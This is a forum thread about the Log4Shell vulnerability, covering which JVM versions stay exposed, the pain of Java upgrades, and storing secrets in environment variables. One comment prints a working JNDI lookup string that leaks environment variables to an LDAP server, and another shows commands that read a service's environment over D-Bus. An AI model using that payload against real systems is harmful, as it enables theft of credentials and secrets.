News for hackers. Stuff that matters.
Re:Log4j: Between a rock and a hard place by mooreds on Saturday December 11, 2021 @03:52PM (#29524189)
I get that this is a big deal (any remote code execution that is prevalent is a big deal).

But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

From https://www.veracode.com/blog/security-news/urgent-analysis-...

    JVM version - if lower than:
        Java 6 – 6u212 (java6 first released in 2006, this version appears unreleased?)
        Java 7 – 7u202 (java7 first released in 2011 this version appears unreleased?)
        Java 8 – 8u192 (from 2018)
        Java 11 - 11.0.2 (from 2019)
The current version of java is java17. Anything running on 17 or 14 (the last major release) isn't vulnerable.

Now, I get that major version upgrades are a hassle, but I haven't seen anyone address the "hey, you should have upgraded" elephant in the room.

(All java release dates from https://www.java.com/releases/ )

Re:Log4j: Between a rock and a hard place by brabel on Saturday December 11, 2021 @04:48PM (#29524578)
> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

Please stop repeating this. The only attack that won't work on newer JVM versions is the one based on the LDAP server returning an ObjectFactory that redirects to a class file based on another remote HTTP server. However, that's absolutely not the only attack vector. LDAP itself has other attacks that are possible, and there are other JNDI integrations that also have different attacks, amongst other things, related to Java serialization (and once you can de-serialize bytes on someone's JVM, you have a smorgasbord of attack vectors to play with).

If your log4j version is resolving JNDI strings, you are NOT SAFE regardless of which JVM version you're using.

Re:Log4j: Between a rock and a hard place by hn_throwaway_99 on Saturday December 11, 2021 @05:32PM (#29524867)
I wish your comment would get higher visibility.

To clarify, the vulnerability would make it possible to post server environment variables to any remote server, regardless of JRE version. That could easily end up being as catastrophic as an RCE.

Re:Log4j: Between a rock and a hard place by ta45674754 on Saturday December 11, 2021 @07:18PM (#29525649)
Yeah that's a disaster, many applications/pods/docker containers store secrets in the environment. Even if it doesn't expose the service from the outside due to firewalls etc, its a(nother) way in for malicious internal users (which I believe are a large portion of, or the majority of, breaches).
Re:Log4j: Between a rock and a hard place by strenholme on Sunday December 12, 2021 @12:14AM (#29527339)
Indeed. Anything which exposes a program’s environment to other non-root programs which are not sub-processes should be considered a security bug.
Re:Log4j: Between a rock and a hard place by brabel on Sunday December 12, 2021 @02:01AM (#29527708)
> the vulnerability would make it possible to post server environment variables to any remote server, regardless of JRE version.

I've been able to achieve RCE as well by still using LDAP, but a different lookup mechanism (if you learn about LDAP, you'll quickly realize there's several ways to do this). RCE does not require remote class loading, that's just the easiest way to achieve it.

If your JVM triggered the evaluation of any unsafe jndi string, you should assume an RCE is very likely possible on your environment.

Re:Log4j: Between a rock and a hard place by mooreds on Saturday December 11, 2021 @07:39PM (#29525832)
Thanks. I can't edit my comment but I upvoted yours.
Re:Log4j: Between a rock and a hard place by trenchgun on Sunday December 12, 2021 @04:31AM (#29528248)
Hmm, why you can't edit your comment? There is an edit button in hackernews.
Re:Log4j: Between a rock and a hard place by bostik on Sunday December 12, 2021 @04:52AM (#29528323)
The button is available only for a time window (2h?) after the submission.

Which makes sense, on a message board (which HN is) the feature is mostly supposed to allow quick fixes over minor errors, not retroactive editorial work.

Re:Log4j: Between a rock and a hard place by spijdar on Saturday December 11, 2021 @04:02PM (#29524273)
It's a big deal because most large users of Java aren't actually using the newer versions. It's very hard to source that claim, and I apologize for the lack of hard data, but in my experience with "enterprise Java", it's almost all still Java 11, or even Java 8.

Some lame anecdotes:

Minecraft ships with a bundled version of Java 8. Most linux distributions still default to Java 11, and you have to explicitly ask for newer JDKs. Some distributions, like Void Linux, still only package Java 11. Many enterprise applications don't even use the system Java environments, and package their own outdated version of Java, sometimes in /opt, sometimes in their installation directory on Windows.

(edit: to this point, Minecraft apparently ships with 1.8.0_51 from 2015, and I'm sure I've seen similar with some Java applications at work. I imagine for programs that aren't servers listening on the network, the threat of exploitation seemed lower, and there was less of an (perceived) need to update even the version of Java. If it ain't broke, don't fix it, and all that.)

Regardless of the fact people should upgrade to newer Java versions, the reality is (IME) they ... haven't. And so many (very large!) corporations are relying on vulnerable versions of Java, which is why this is such a big deal.

Re:Log4j: Between a rock and a hard place by severino on Saturday December 11, 2021 @04:09PM (#29524330)
The reason that most distributions only packaged Java 11 until recently is actually very simple: it was the current "LTS" version, which had a longer support window. So companies won't usually jump into Java 12, or 13... because it meant you had 6 months until that release would be considered unsupported.

That's why Java 11 has been receiving updates (latest one, 11.0.13, dates from October 2021) while Java 12, for example, got its last release (12.0.2) in 2019.

Now that Java 17 (released two months ago) is the new Java LTS version, you could expect most distributions to package it. For example, Ubuntu has been offering Java 17 for a couple of months.

Re:Log4j: Between a rock and a hard place by spijdar on Saturday December 11, 2021 @04:31PM (#29524469)
Sure, and it's supported by more software than the newer versions (edit: because this wasn't clear, I mean I think the default JDK will remain 11 for a while, even on distros that package newer), which have been making a fair number of backwards incompatible changes, which seems to have had the effect of discouraging adoption of newer Java versions. I'm not a Java developer, so I don't really have personal experience or frustration with it, but it seems like I read "x was deprecated, then dropped, in versions <x>, <y> of Java" a lot, changes that would require pretty sweeping changes to codebases that relied on the old behavior/features.

A lot are still stuck on 8, and aren't even compatible with 11, much less 15 or 17. I think VMWare's vCenter software still uses Java 8 internally...

Re:Log4j: Between a rock and a hard place by ta45674754 on Saturday December 11, 2021 @07:11PM (#29525594)
Yeah that's the biggest problem, a complex web of dependencies on old legacy applications built using JDK 8/11, not so much any language changes. Sometimes there's just no options to upgrade e.g. companies stuck on Oracle 12, can only use Flyway 5.1.4 etc, so that counts out Spring 2.5.x and so on and so on. Many libraries will eventually drop support for older JREs, and then you're left with a big bang approach and having to upgrade everything to the latest version, and that may include changes in the servlet/REST/etc specs, which can be a bit overwhelming for large legacy codebases. Its why tools like Dependabot are so important imo, they keep you up-to-date in incremental steps if you're vigilant, rather than have the POM/build.gradle ossify over time.
Re:Log4j: Between a rock and a hard place by josephcsible on Saturday December 11, 2021 @06:54PM (#29525489)
> in my experience with "enterprise Java", it's almost all still Java 11, or even Java 8.

IMO, this is entirely Oracle's fault, for ramming through modules and --add-opens requirements starting in Java 9 that broke almost everything for no good reason.

Re:Log4j: Between a rock and a hard place by pron on Saturday December 11, 2021 @08:22PM (#29526137)
add-opens was only required starting in 17, and modules, whose encapsulation wasn't even on by default until JDK 16, had little if anything to do with the migration issues from 8 to 9. They just happened to be 9's most famous feature, so they got the blame. Nearly all migration issues were due to libraries bypassing the Java spec in 8 and relying on internal implementation details, essentially becoming intentionally non-portable. Some of them had a good reason to do so, but nevertheless, that's what happened. Java 9 was one of the biggest Java releases ever, internal implementation details changed all over the JDK, so many libraries that had become tied to 8 broke. Now upgrading is no longer too big a deal because all popular libraries have long been fixed.

Modules, however, are related to those issues in that now when their encapsulation has finally been turned on (in 16 and 17), they will do their job of preventing this problem of bypassing the spec from recurring (the application is able to grant internal access to a library, but at least it knows there might be a potential maintenance and/or security issue to keep an eye on when it does).

Re:Log4j: Between a rock and a hard place by unscaled on Saturday December 11, 2021 @09:56PM (#29526710)
I migrated personally (or overseen migration) of many projects from Java 8 (and even Java 6) to Java 11.

Modules in Java 9 were a bit controversial back then, so I guess that's the reason we hear a lot about it, but I haven't encountered an issue related to modules even once.

Most of the migration work that was needed was just upgrading libraries, or adding new dependencies for Java EE APIs that moved out of the JDK.

And why libraries were incompatible? Relying on undocumented internals is one thing, but the funny thing is that a surprisingly large number of libraries broke because they relied on the format of the Java version string. When it changed from 1.8 to 9.0, they suddenly saw a "Java Version 0" and didn't know what to do with it.

Re:Log4j: Between a rock and a hard place by pron on Sunday December 12, 2021 @05:42AM (#29528541)
> When it changed from 1.8 to 9.0, they suddenly saw a "Java Version 0" and didn't know what to do with it.

That's true. That change was probably the biggest single "breaking change" in that release.

Re:Log4j: Between a rock and a hard place by josephcsible on Saturday December 11, 2021 @09:01PM (#29526378)
My complaint about the --add-opens fiasco is that it was basically a breaking change for the sake of being a breaking change, rather than one that was necessary to fix some bug or add some feature.

> they will do their job of preventing this problem of bypassing the spec from recurring

This feels like curing cancer by killing the patient.

Re:Log4j: Between a rock and a hard place by pron on Saturday December 11, 2021 @09:23PM (#29526533)
> My complaint about the --add-opens fiasco is that it was basically a breaking change for the sake of being a breaking change, rather than one that was necessary to fix some bug or add some feature.

add-opens, which, again, has been required only since JDK 17, is absolutely essential for Java's security (it is impossible for any Java code to make any strong guarantees without it), and to prevent the kind of problems we've seen when migrating from 8 to 9. The only thing it breaks is the ability to write non-portable libraries without the application knowing about it. There is not a single line of code that would be affected by it that wouldn't have also been susceptible to any change in internal details, which can happen in any release without warning. Since the rate of internal implementation details is only going to grow with the growing investment in Java, this change helps warn against potential issues due to non-portable code.

> This feels like curing cancer by killing the patient.

JDK 17 adoption is pretty impressive (and faster than 11's). Doesn't seem like the patient is dead.

Re:Log4j: Between a rock and a hard place by josephcsible on Saturday December 11, 2021 @10:18PM (#29526834)
> add-opens [...] is absolutely essential for Java's security (it is impossible for any Java code to make any strong guarantees without it

How do you figure? What kinds of guarantees?

> to prevent the kind of problems we've seen when migrating from 8 to 9

But it only prevented it from happening later by making it happen now! There's a good chance that most of the programs broken by modules would never have broken otherwise.

Re:Log4j: Between a rock and a hard place by pron on Sunday December 12, 2021 @05:52AM (#29528593)
> How do you figure? What kinds of guarantees?

Any, but specifically around security (almost all security is provided by certain preconditions being met, namely that method foo() is called only immediately after ensuring that method bar() returns true, or that an object of type Baz is always initialised in a certain way.

Prior to modules, the meaning of any line of Java code anywhere -- including in the JDK itself -- was subject to change by any other line of code in any loaded library through various kinds of monkey patching. You could not guarantee anything. With modules, if `foo` is private, and the only call to it is in `if (bar()) foo();` you can guarantee that foo is only called when bar is true.

Now, strong encapsulation isn't airtight yet, and there are still some loopholes left to let straggler libraries catch up or because there aren't replacements to some unsafe operations yet, but it will be very soon.

> There's a good chance that most of the programs broken by modules would never have broken otherwise.

First, almost all problems migrating to 9+ were because of such non-portable code, and the disruption was quite significant, and the rate of internal change is increasing. Second, this makes it happen now instead of happening, perhaps on a smaller scale, at each and every release for the next decades.

Re:Log4j: Between a rock and a hard place by josefx on Sunday December 12, 2021 @07:55AM (#29529217)
> Any, but specifically around security

Ah, so they had to add it because they plan on removing the security manager API. So it is a breaking change for the sake of another breaking change.

Re:Log4j: Between a rock and a hard place by pron on Sunday December 12, 2021 @04:26PM (#29533791)
The Security Manager API hasn't been an important Java security feature for many years. It was a security feature for Applets, and over the past decade it's been used by a few applications mostly for monitoring/toy sandboxing. In any event, a vanishingly small number of applications use it. Strong encapsulation is part of a long-term effort to make Java more secure, as threats are changing.

Also, encapsulation isn't a breaking change. Java's strong backward compatibility commitment is with respect to the Java SE specification. No APIs are affected. It's only internal classes that have always been subject to change, and with clear warnings that they must not be accessed, that are encapsulated.

Re:Log4j: Between a rock and a hard place by josephcsible on Sunday December 12, 2021 @08:42AM (#29529534)
Are Python, Ruby, and Lua all inherently insecure? Why do so many programs that care about security use them? They all allow monkey patching, after all.
Re:Log4j: Between a rock and a hard place by pron on Sunday December 12, 2021 @04:30PM (#29533825)
Obviously, Java is used for much more critical applications than Python, Ruby, or Lua, but I don't know enough about their security strategy. Just as Java's performance is constantly being improved, so does its security.
Re:Log4j: Between a rock and a hard place by josephcsible on Sunday December 12, 2021 @06:01PM (#29534598)
What language besides Java has a "feature" that requires a whitelist to use reflection, that you can't just say "everything" for? Or is Java the only secure programming language that exists?
Re:Log4j: Between a rock and a hard place by pron on Monday December 13, 2021 @05:09AM (#29538279)
Strong encapsulation isn'y a whitelist for reflection. It forbids the turning off of access control by arbitrary libraries (you do know that even before modules you had to explicitly setAccessible if you wanted to break through access control) -- unless the application explicitly allows it. Some languages don't have reflection at all, and among those that do, Java is clearly the language that is by far most popular for serious business-critical applications.
Re:Log4j: Between a rock and a hard place by josephcsible on Monday December 13, 2021 @11:27AM (#29541058)
> you do know that even before modules you had to explicitly setAccessible if you wanted to break through access control

Yes, I do know that, and I'm fine with it. If it still worked then I wouldn't mind modules. My complaint in particular is that a command line whitelist is needed for setAccessible to work anymore.

Re:Log4j: Between a rock and a hard place by pron on Monday December 13, 2021 @01:52PM (#29542926)
Right, but the command-line is intentional: it is intended to make the application aware of potential maintenance and/or security issues, and setAccessible is really a potential maintenance and/or security issue. The only argument against it would be the desire to allow libraries to impose such risks on applications without the application knowing about it. I understand why some library authors would not like their users to know their libraries pose such a risk, but obviously the applications should take precedence.
Re:Log4j: Between a rock and a hard place by josephcsible on Monday December 13, 2021 @05:27PM (#29545501)
My issue isn't that it needs a command line parameter. It's that you need to create a whitelist that enumerates everything that anything is going to use individually. I'd be fine with modules if --add-opens had a "let this module reflectively access everything" wildcard, or if --illegal-access=permit were never removed.
Re:Log4j: Between a rock and a hard place by pron on Tuesday December 14, 2021 @05:59AM (#29550364)
But that wouldn't express what the potential issue is. You want to know that internal changes in which modules could break you, and/or in what way you're expanding the security attack surface area. Such a library needs to tell you what "bad" things it does and give you a list of modules whose encapsulation in breaks open that you could put on the command line.
Re:Log4j: Between a rock and a hard place by samus on Sunday December 12, 2021 @10:30AM (#29530362)
At any moment, Oracle could change the package names of all internal code from `com.sun` to `com.oracle` or to have a randomized prefix, which would break all those programs as well.
Re:Log4j: Between a rock and a hard place by josephcsible on Sunday December 12, 2021 @12:03PM (#29531259)
They could, sure, but that would again be a breaking change for the sake of being a breaking change. Also, maybe since those "nonportable" things are so widely used, Oracle should just add them to the API officially.
Re:Log4j: Between a rock and a hard place by pron on Monday December 13, 2021 @05:13AM (#29538296)
Java's backward compatibility applies only to the spec, i.e. the API. If any change to any method in the ~6M MLOC standard library is a "breaking change," then nothing all changes are "breaking changes," and it doesn't matter if there's good reason for them or not; we want things to not break, so internal code needs to be encapsulated. As to the last remaining popular "non-API-APIs", which is mostly just Unsafe, it is, indeed not encapsulated, and over time it will be shrunk only as replacement APIs are available.
Re:Log4j: Between a rock and a hard place by unscaled on Saturday December 11, 2021 @09:48PM (#29526668)
I would go the other way around - it's entirely Oracle's fault for trying to be too compatible with unfortunate mistakes made in the past. Java Serialization is the root of all these things, and should have been deprecated and more safeguards should have been added. Perhaps even an equivalent of --add-opens for which classes are safe to serialize!

This would certainly have broken a large number of software, but it's the right way to go. Whichever way you define the "compatibility promise", I think security overrides that.

At least it looks like Oracle is going this way[1], I just wish that it would have been sooner.

[1] https://inside.java/2019/11/07/whywehateserialization/

Re:Log4j: Between a rock and a hard place by brabel on Sunday December 12, 2021 @01:56AM (#29527697)
The log4j exploit was based on remote class loading, not serialization... though if your JVM protected you against remote class loading, it's indeed correct that one way to bypass that protection was by using a serialization attack.
Re:Log4j: Between a rock and a hard place by pjmlp on Sunday December 12, 2021 @08:13AM (#29529354)
It has been proven that if platforms don't ramm through, their users will keep using the old ways as long as they can.
Re:Log4j: Between a rock and a hard place by josephcsible on Sunday December 12, 2021 @08:40AM (#29529522)
Where has this been proven? And what's wrong with using the old ways?
Re:Log4j: Between a rock and a hard place by pjmlp on Sunday December 12, 2021 @09:32AM (#29529911)
Windows XP, Java 8, Python 2, C++98,CLI apps like pre 1980's,..., plenty of examples.
Re:Log4j: Between a rock and a hard place by hugi on Saturday December 11, 2021 @04:14PM (#29524359)
I think the most recent Minecraft release (1.18) actually requires Java 17?
Re:Log4j: Between a rock and a hard place by tehbeard on Saturday December 11, 2021 @04:45PM (#29524554)
They've only recently been bumping Java versions.

For the longest time, it was 6, then 8, and it stayed on 8 for years. Iirc 1.17 was a jump to Java 16 after a lot of internal reworking, and I guess with Java 17 being LTS, thats why they've moved to that.

Re:Log4j: Between a rock and a hard place by hugi on Saturday December 11, 2021 @05:58PM (#29525081)
So the parent poster was in fact wrong about Minecraft using Java 8.
Re:Log4j: Between a rock and a hard place by 63 on Saturday December 11, 2021 @06:12PM (#29525194)
Not really. Only the two most recent major versions of Minecraft use Java 16/17. A lot, possibly most, of the online community still plays on old versions 1.8.9 and 1.12.2 which use Java 8.
Re:Log4j: Between a rock and a hard place by mantaraygun on Saturday December 11, 2021 @11:45PM (#29527229)
> 1.8.9 and 1.12.2

Correct me if I'm wrong, but isn't the first favored by pay-to-win servers and pvp specializing servers, while 1.12.2 is favored for modding? Both seem pretty niche to me, albeit noisy niches. There have been several substantial updates to the game since 1.12 and I'm quite sure most players are presently on 1.18 or at least 1.17. And I don't have much sympathy for the plight of those P2W servers.

Re:Log4j: Between a rock and a hard place by salawat on Sunday December 12, 2021 @03:14PM (#29533157)
1.14.4 works just fine on jdk 1.8, modded or otherwise. I know this, because I helped get it running properly with Forge integration on Raspberry Pi, and am working on building out an Aarch64 base Linux image for more recent versions to leverage the 8GB version of the Pi for maybe supporting a mod or two. Someone else may have done it already, but it's more an exercise in cross-compiling for me.

The lack of a 64 bit JDK build was the big blocker a couple years ago. Haven't checked back to see if Raspbian or anyone else got around to it.

I can second that modules were a way bigger deal than people here seem to be willing to admit to. I avoided 9+ like the plague because redefining one of your base visibility modifiers and the inevitable charlie-foxtrot that would entail, plus Oracles license shenanigans was just not something I was willing to wade through.

Re:Log4j: Between a rock and a hard place by pjc50 on Saturday December 11, 2021 @05:10PM (#29524725)
At one point Oracle changed the licensing, which caused enterprises to stop upgrading.
Re:Log4j: Between a rock and a hard place by alanfranz on Sunday December 12, 2021 @12:54AM (#29527491)
So, the root of all problems is that companies don’t want to pay, not even when professional, paid support is available. Why complain, then?
Re:Log4j: Between a rock and a hard place by kupopuffs on Saturday December 11, 2021 @08:31PM (#29526187)
With OpenJDK, do companies still license Java?
Re:Log4j: Between a rock and a hard place by NavinF on Sunday December 12, 2021 @02:26AM (#29527781)
OpenJDK is GPL-2 + linking exception; Similar to LGPL. Dunno what that other guy is talking about.
Re:Log4j: Between a rock and a hard place by pjmlp on Sunday December 12, 2021 @08:17AM (#29529374)
Maybe there were some, mainly because people don't read and rather rely on tweeter feeds from urban myths.
Re:Log4j: Between a rock and a hard place by karianna on Sunday December 12, 2021 @04:55AM (#29528337)
Minecraft ships with the latest 17.0.1 now (I run Java at MSFT, we supply their bits )
Re:Log4j: Between a rock and a hard place by callmeal on Saturday December 11, 2021 @07:41PM (#29525850)
>It's a big deal because most large users of Java aren't actually using the newer versions. It's very hard to source that claim, and I apologize for the lack of hard data, but in my experience with "enterprise Java", it's almost all still Java 11, or even Java 8.

It should still not be a big deal, because there are mitigations in place for Java 11 and Java 8 - just upgrade to the latest patch revision: 11.0.2 and 1.8.0_192 or later exactly like an operating system security patch. Right now, it just feels like a big deal because everyone likes to pile on Java.

Re:Log4j: Between a rock and a hard place by technion on Saturday December 11, 2021 @10:54PM (#29526974)
Regrettably I have multiple products, such as pos software from Oracle, that break on minor point release java updates.
Re:Log4j: Between a rock and a hard place by matwood on Saturday December 11, 2021 @04:37PM (#29524509)
According to the original RCE post:

> JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector.

So people just need to stay up to date on the latest patch version. Latest 8x is 8u312 and 11x is 11.0.13.

So Java 11 and 8 have some mitigation already in place, but people need to be applying patches like they should for all other critical system software.

Re:Log4j: Between a rock and a hard place by MomoXenosaga on Saturday December 11, 2021 @04:10PM (#29524333)
But then whose fault is it? Software will always be compromised sooner or later by hackers looking for exploits.

I know Microsoft just threw the keyboard at the wall and said "fuck it everyone gets forced to update".

Re:Log4j: Between a rock and a hard place by brasetvik on Saturday December 11, 2021 @03:59PM (#29524251)
> But one thing that I haven't seen mentioned enough is that this only affects pretty old versions of java.

Recent versions were still susceptible to e.g. exfiltration of env vars, which may often contain secrets.

${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}

Re:Log4j: Between a rock and a hard place by xorcist on Saturday December 11, 2021 @07:08PM (#29525576)
This here is the reason why the current obsession with storing everything configuration related, including secrets, in environment variables is a bad idea. This is without even touching on the fact that the environment is propagated to every child process every time.
Re:Log4j: Between a rock and a hard place by staticassertion on Sunday December 12, 2021 @12:26AM (#29527374)
> including secrets, in environment variables is a bad idea.

I don't think this is the lesson to take away here. Arbitrary remote read of environment variables is not a common issue.

Also you can easily not propagate secrets to a child process. But there isn't a ton of point to that on most systems since if you can't trust your child process just not passing in the secret is not gonna cut it.

Re:Log4j: Between a rock and a hard place by exyi on Saturday December 11, 2021 @07:24PM (#29525697)
Which other place do you suggest for secrets? File access is even more common security bug, also may be accessed by subprocesses and even other processes. Cmdline argument don't propagate to childs, but are accessible. I don't know about any other options that would be reasonably easy to use.
Re:Log4j: Between a rock and a hard place by xorcist on Sunday December 12, 2021 @09:04AM (#29529681)
Files have all sorts of protection mechanisms available, both built in to the file system and on top of it, is traditionally used to store secrets, and doesn't generally leak. So that should be the starting point.

Command line argument would be visible in the process table, hopefully no one would suggest that. It also is not persistent, so it generally needs to be fed from someplace anyway. Generally a file. This is something it shares with environment variables.

Re:Log4j: Between a rock and a hard place by Too on Sunday December 12, 2021 @12:51AM (#29527479)
Stdin and keep in variables only. I know it’s a lot less convenient but if you are looking for security this is one level up.

Files in /tmp that your application deletes immediately after read is another.

Re:Log4j: Between a rock and a hard place by ComputerGuru on Sunday December 12, 2021 @02:25AM (#29527780)
In git, as encrypted files. It couldn’t be easier: https://neosmart.net/blog/2020/securestore-open-secrets-form...
Re:Log4j: Between a rock and a hard place by scriptdevil on Saturday December 11, 2021 @07:51PM (#29525939)
TBF,files should be fine if we use something like the openbsd unveil mechanic
Re:Log4j: Between a rock and a hard place by yjftsjthsd-h on Saturday December 11, 2021 @08:19PM (#29526123)
Okay, yes, but to date, to a first approximation, nobody does that. And yes, that's unfortunate, but in the world we live in, and the world we will live in for the near future, environment variables seem no worse than any other option, regardless of ways that other options could be made better.
Re:Log4j: Between a rock and a hard place by dcow on Sunday December 12, 2021 @01:19AM (#29527573)
Env vars are strictly worse than files because of how easy they are to access. You need shell code of some sort to read a file assuming you don’t privilege drop whereas env vars are persistently available to everything everywhere.
Re:Log4j: Between a rock and a hard place by strenholme on Sunday December 12, 2021 @07:00AM (#29528890)
Huh? Environmental variables are only available to a process, any children the process has, any other process running as the same user ID, and the root user on a given POSIX compliant system.

E.g if I do this:

  export FOO=bar
processes running as other user IDs (unless root) will not know FOO is “bar”. Actually, even other processes running as me/root won’t know FOO’s value until I spawn a child process after that “export” command—environment only becomes visible outside a process when it runs execve() and passes its environment on.

An environmental variable is about as safe as a file with 600 or 700 perms (i.e. make a file be set up with POSIX ACLs to be read only by the owner of the file): If user separation is done so insecure processes run with a different user/group ID (and modern *NIX system gives each user its own default group), the cracker still has work to do before getting important secrets in our environment.

Also, FOO being bar in the environment (i.e. we can see it with getenv() ) will only be visible to the current any child process after “export FOO=bar”.

If you’re able to run getenv() to get at the environment, or able to read (in Linux) /proc/$PID/environ to see the environment of other processes running as you, you will generally also be able to run open() to get at files.

Environment leaking is a serious bug in a *NIX/POSIX system; If I can, as “Alice”, view anything in the environment belonging to “Bob”, that’s a serious security bug which needs to have a CVE number.

Re:Log4j: Between a rock and a hard place by dcow on Sunday December 12, 2021 @09:31AM (#29529902)
Re:Log4j: Between a rock and a hard place by strenholme on Sunday December 12, 2021 @03:01PM (#29533051)
Thank you for the link and information.

To be fair, while a concern, that’s not “everything everywhere”. That’s the current process, child processes (even if setuid), root, other processes running as the same user, and maybe processes with different user IDs sharing the same d-bus (D-bus is not used on servers, only desktop systems). I consider that slightly but not much more leaky than an unencrypted chmod 600 or chmod 700 permission file.

It’s more secure than, say, command line arguments (which can be seen by any process on the same system).

Re:Log4j: Between a rock and a hard place by dcow on Monday December 13, 2021 @11:34AM (#29541151)
> dbus is not used on servers?

In my experience dbus has shown up on embedded devices, routers, servers, desktops, etc. Maybe it’s not being used and I don’t know it… Avahi (the mDNS daemon & tool), for example, uses dbus.

I would say containers are more to blame for making env var secrets pretty okay. But people should be aware of what the systemd man page says about env vars because there are scenarios where persisting secrets in a spot easily queryable via procfs and/or dbus is not okay.

And systemd provides a way to correctly pass secrets by allowing you to specify a credential blob that is accessible via the filesystem and properly restricted to the target service. So there’s an easy way to securely pass secrets, people should use that before reaching for env vars.

https://www.freedesktop.org/software/systemd/man/systemd.exe...

Re:Log4j: Between a rock and a hard place by strenholme on Monday December 13, 2021 @10:01PM (#29547693)
Thank you again for the informative reply. I saw two dbus-daemons running on my Ubuntu server; I killed the user d-bus daemon process running as me and nothing seems to break, so while it’s there, it doesn’t seem to be used by anything on my server.

While I do note that systemd man page, it goes in to no detail about how dbus leaks the environment.

Looking at the D-Bus specification [1], org.freedesktop.DBus.UpdateActivationEnvironment is the only thing which concerns itself about the environment. It says that the “session bus activated services inherit the environment of the bus daemon”, so it looks like the D-Bus leakage is any system-level environmental variables set when the D-Bus daemons are started, or any variables set using UpdateActivationEnvironment.

The concern here appears to be that system-level environmental variables aren’t safe. I don’t see anything about a user process setting something like export FOO="top secret password" being more unsafe than a chmod 700 or chmod 600 file.

I have already noted the various ways environmental variables can leak on this page:

https://github.com/samboy/rg32hash/blob/master/C/microrg32.m...

I will update the D-Bus information there based on what I read in the D-Bus spec.

[1] https://dbus.freedesktop.org/doc/dbus-specification.html

Re:Log4j: Between a rock and a hard place by dcow on Wednesday December 15, 2021 @02:14AM (#29562957)
> I saw two dbus-daemons running on my Ubuntu server; I killed the user d-bus daemon process running as me and nothing seems to break, so while it’s there, it doesn’t seem to be used by anything on my server.

Every systemd service is exposed on a dbus path in systemd. You can query a service's environment like so:

    $ systemctl status foo
    ● foo.service - Can we read this service's environment over dbus?
         Loaded: loaded (/etc/systemd/system/foo.service; static)
         Active: active (running) since Tue 2021-12-14 23:00:10 PST; 6min ago
       Main PID: 104167 (sleep)
          Tasks: 1 (limit: 9366)
            CPU: 1ms
         CGroup: /system.slice/foo.service
                 └─104167 sleep 3600
    $ qdbus --system org.freedesktop.systemd1 /org/freedesktop/systemd1/unit/foo_2eservice org.freedesktop.systemd1.Service.Environment
    Error: org.freedesktop.DBus.Error.AccessDenied
    Rejected send message, 2 matched rules; type="method_call", sender=":1.761" (uid=1000 pid=104282 comm="/usr/lib/qt5/bin/qdbus --system org.freedesktop.sy") interface="org.freedesktop.systemd1.Service" member="Environment" error name="(unset)" requested_reply="0" destination="org.freedesktop.systemd1" (uid=0 pid=1 comm="/sbin/init splash ")
    $ sudo qdbus --system org.freedesktop.systemd1 /org/freedesktop/systemd1/unit/foo_2eservice org.freedesktop.systemd1.Service.Environment
    FOO=secret-secret
So you can read it but it seems systemd does enforce some sane default permissions on who can read the environment.
Re:Log4j: Between a rock and a hard place by kuraudoOishii on Sunday December 12, 2021 @12:13AM (#29527336)
Where else do we put them? Cloud secret stores? Where do we store the credentials for that?
Re:Log4j: Between a rock and a hard place by jefftk on Saturday December 11, 2021 @03:59PM (#29524253)
8 and 11 are LTS releases, and are still supported. 17 is the new LTS, but it's only been out for 2m. See https://endoflife.date/java
Re:Log4j: Between a rock and a hard place by yjftsjthsd-h on Saturday December 11, 2021 @08:21PM (#29526133)
Yeah, a couple years ago I had to decide what version of Java to use in an environment where it needed to run for as long as possible with minimal maintenance, and I found myself in the weird position of intentionally shipping 8 because it had longer support than the newer versions we could have used. It's a weird position, but rational.
Re:Log4j: Between a rock and a hard place by koboll on Saturday December 11, 2021 @03:58PM (#29524239)
If this survey is to be believed, as of last year, nearly everyone is using either Java 8 or Java 11, with Java 8 being the overwhelming favorite with almost 60% of respondents reporting using it.

https://www.jrebel.com/blog/2020-java-technology-report

Re:Log4j: Between a rock and a hard place by mooreds on Saturday December 11, 2021 @04:01PM (#29524262)
Fair. There's been some licensing ... well shall we call them mishaps ... in the last couple of years. That I think has kept a lot of folks on older versions of Java.

But even if folks are okay on java8 (first released in 2014!) there is a version of java8 that is not vulnerable and it has been around for 3 years.

Re:Log4j: Between a rock and a hard place by layer8 on Saturday December 11, 2021 @04:53PM (#29524610)
It’s not the licensing, it’s the amount of incompatibilities JDK 9 introduced.

Also, current JDK versions are still vulnerable: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

Re:Log4j: Between a rock and a hard place by whartung on Saturday December 11, 2021 @05:56PM (#29525059)
Precisely. JDK 8 -> 11 is not "drag and drop". While that was mostly the up through JDK 8, the JDK 9 changes are a large step that need to be hurdled, and it's easier said than done.

Plus if you're working on legacy app servers, you're bound to whatever they are running outside of what you actual application supports. Then add in the whole JaveEE -> JakartaEE transition that was ladled on top of the JDK 8-> 11 transition, and it wasn't just a can of worms, but a kettle of fish and a barrel of monkeys all at once.

Re:Log4j: Between a rock and a hard place by unscaled on Saturday December 11, 2021 @10:07PM (#29526766)
Both the licensing issues and the upgrade cost are largely myths.

Licensing is only an issue if you want to keep using the free Oracle JDK, but there is seriously no need to.

JDK upgrades were never drag and drop. When we upgraded Java 6 to Java 8 we had just about the same amount of issues we had when upgrading Java 8 to 11. Some libraries had to be updated. Bloated Application servers like Tomcat and Glassfish (let alone beasts of legend like WebLogic) needed an entirely new major version to cope with that.

The misconception that Java 11 is an especially rough upgrade comes from exaggerated worries about modules and perhaps the faster rate of change. 8 years have passed between Java 6 to Java 8, but only 4 years have passed between Java 8 to Java 11.

Re:Log4j: Between a rock and a hard place by bombcar on Saturday December 11, 2021 @04:16PM (#29524377)
Using Java 8 doesn’t mean you have to use 8_51 or whatever - you can use 8_300+ or whatever the current is.
Re:Log4j: Between a rock and a hard place by shawnz on Saturday December 11, 2021 @04:50PM (#29524590)
Simply using a modern JDK does not fully resolve the issue. See here: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...
Re:Log4j: Between a rock and a hard place by pojzon on Saturday December 11, 2021 @09:33PM (#29526593)
It would probably be a shocker to you, but there are still companies operating on cobol. Because the software does what it was supposed to do and does it well.

If no functional changes are required, software should be just fine running for decades.

Not every company is able to spend on continous development. Often times rewriting something ends up a big cost that never pays for itself.

Re:Log4j: Between a rock and a hard place by fullstop on Saturday December 11, 2021 @09:55PM (#29526702)
openjdk version "11.0.11" 2021-04-20 (latest in Ubuntu?)

